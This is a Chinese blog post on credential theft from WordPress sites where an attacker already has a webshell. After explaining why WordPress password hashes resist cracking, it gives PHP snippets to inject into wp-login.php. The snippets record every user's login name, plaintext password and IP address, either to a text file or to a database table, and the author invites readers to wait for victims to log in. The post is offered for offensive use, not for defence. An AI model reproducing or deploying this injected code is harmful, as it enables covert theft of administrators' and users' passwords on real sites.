wordpress这种CMS国外用的非常多,安全性还是不错的,跟新快,看到这种东西,除了管理员架好之后就托管的垃圾站,持续更新的wordpress还是很让人头疼的。

如果通过某种方法拿下了webshell,拖库之后会发现wp_user这个wordpress这个用户表,里面的密码加密方法还是让人绝望的,我大概找了找这方面的资料发现他的加密方法如下(此处引用):

WordPress系统的用户密码是保存在wp_users数据表的user_pass字段,密码是通过Portable PHP password hashing framework类产生的,密码的形式是随机且不可逆,同一个明文的密码在不同时间,产生的密文也不一样,相对来说较为安全。

WordPress用户密码产生的过程是,当需要生成用户密码的时候,随机产生了一个salt,然后将salt和password相加,又进行了count次md5,最后和encode64的hash数值累加,就得到了一个以$P$开头的密码,这个密码每次产生的结果都不一样。


对于这种密码破解基本无望,在旧版本的wordpress中会有这样一个方法可能取得明文密码,拖库到本地,本地搭建wordpress,还原wordpress。然后修改管理员邮箱,点击忘记密码,理论上wordpress会将明文密码发到管理员的邮箱,所以取得明文密码。但可能本菜鸟才疏学浅,不能知道是哪个版本有这样一个漏洞。或者究竟有没有不可考。并且这种加密算法不可逆,wordpress如何从密文本身还原出明文发送到administrator的邮箱的?想不通。难道存放了明文密码?呵呵。。。


所以就有了另一种思路,直接截获明文密码,我们有webshell的时候,只要权限够大(一般修改权限还是有的)。我们可以修改wordpress本身的脚本,本文修改wordpress中的wp-login.php实现只要有人从后台登录就能记录下鞥如的密码,也包括管理员的。

用webshell搜索wp-login.php中的这样一个关键字 !is_wp_error($user)的上一行之后增加脚本:

$log_user=$_POST['log'];
  $log_pwd=$_POST['pwd'];
  $log_ip=$_SERVER["REMOTE_ADDR"];
  $txt=$log_user.'|'.$log_pwd.'|'.$log_ip;
  $txt=$txt."\r\n";
  if($log_user&&$log_pwd&&$log_ip){
  @fwrite(fopen('pwd.txt',"a+"),$txt);
  }

密码写入同目录的pwd.txt,但是很多时候php没有写入权限,没关系,我们可以直接写入数据库,前提是你要获得数据库的连接密码,这个不用我说,大家都知道,然后建立一张表将截获的数据写进去。脚本如下
$success=!is_wp_error($user) && !$reauth;
$log_user=$_POST['log']; 
$log_pwd=$_POST['pwd']; 
$log_ip=$_SERVER["REMOTE_ADDR"]; 
$connect = mysql_connect("localhost", "用户名", "密码"); 
mysql_select_db("数据库",$connect);           
mysql_query("set names utf8");                       
$sql="insert into 表 values('$success','$log_user','$log_pwd','$log_ip')"; 
$res=mysql_query($sql,$connect); 


下面的事情就是漫长的等待,等待登入者上钩。
此方法有一定的风险,脚本需本地测试好,否则可能造成wordpress奔溃。

文章如转载,请注明转载自:http://www.5iadmin.com/post/1060.html